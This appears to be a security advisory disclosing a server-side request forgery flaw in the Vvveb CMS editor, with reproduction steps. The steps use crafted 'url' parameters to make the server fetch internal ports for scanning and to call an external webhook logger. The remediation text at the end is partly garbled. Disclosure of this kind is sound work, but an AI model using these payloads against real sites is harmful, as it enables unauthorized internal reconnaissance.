| Type | software |
| Product Environment | web |
| Product Name | Vvveb |
| Product Vendor | Vvveb |
| Product Version | 1.0.5 |
| Product Link | https://github.com/givanz/Vvveb |
| Vulnerability Name | Server Side Request Forgery |
| Severity | Medium |
|
CVSS String
|
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L |
| CVSS Score | 4.8 |
| CVE ID | CVE-2025-8520 |
| Vendor Acknowledgement | Yes |
|
Affected digital Assets
|
268 |
|
Affected Users
|
26800 |
| Date of Reporting | Jan 03, 2025 |
| PoC Exploit | - |
| Credit | 0xhamy |
The editor endpoint at
/vadmin123/?module=editor/editor&name=
accepts a user-supplied url parameter and will attempt to load that URL inside the drag-and-drop editor. An authenticated user with Editor (or equivalent) privileges can supply arbitrary URLs, causing the application to make requests to internal or external hosts. This can be abused for Server-Side Request Forgery (SSRF) and used to probe internal services (internal port scanning) by varying host/port combinations. The functionality is reachable from the regular “Design” / editor UI used to modify posts/pages.
Preconditions: an account with permissions to modify posts/pages (Editor role or equivalent).
Log in as an editor and open the posts list:
/vadmin123/index.php?module=content/posts&type=post
Open any post in Design (drag-and-drop) mode. The editor URL will look similar to:
http://127.0.0.1/vadmin123/?module=editor/editor&name=Etiam+leo+nibh...&url=//127.0.0.1/hello-world-4&template=content/post.html
(the name value may be URL-encoded and long; it was shortened in testing to simplify URLs).
Modify the url parameter to point at an internal/resource URL you want the server to fetch. Examples used during testing:
Load local webroot (port 80):
http://127.0.0.1/vadmin123/?module=editor/editor&name=shorty&url=//127.0.0.1:80/
Load a specific internal path:
http://127.0.0.1/vadmin123/?module=editor/editor&name=shorty&url=//127.0.0.1:80/page/contact
Probe an unused port (port scanning):
http://127.0.0.1/vadmin123/?module=editor/editor&name=shorty&url=//127.0.0.1:9999/
— when the target port is closed you may see browser embedding errors, which indicate no service responded.
To confirm the application actually performs requests, run a local HTTP listener (example):
php -S 0.0.0.0:10001
Then request:
http://127.0.0.1/vadmin123/?module=editor/editor&name=shorty&url=//127.0.0.1:10001/
The PHP server will receive the request and log the incoming connection; the editor page will render an error or “not found” message returned by the target.
You can also verify external callbacks by pointing url at an external request logger (e.g., webhook.site):
http://127.0.0.1/vadmin123/?module=editor/editor&name=shorty&url=//webhook.site/your-id
The webhook service will show the incoming request and the editor will display the webhook’s response (or a “no default content configured” message).
Repeat with different ports/hosts to enumerate reachable internal services (i.e., internal port scan).
url: disallow non-whitelisted hosts and protocols (only allow known, internal content endpoints or logical template identifiers).127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16, 169.254.0.0/16, fc00::/7) unless explicitly required and access-controlled.url values.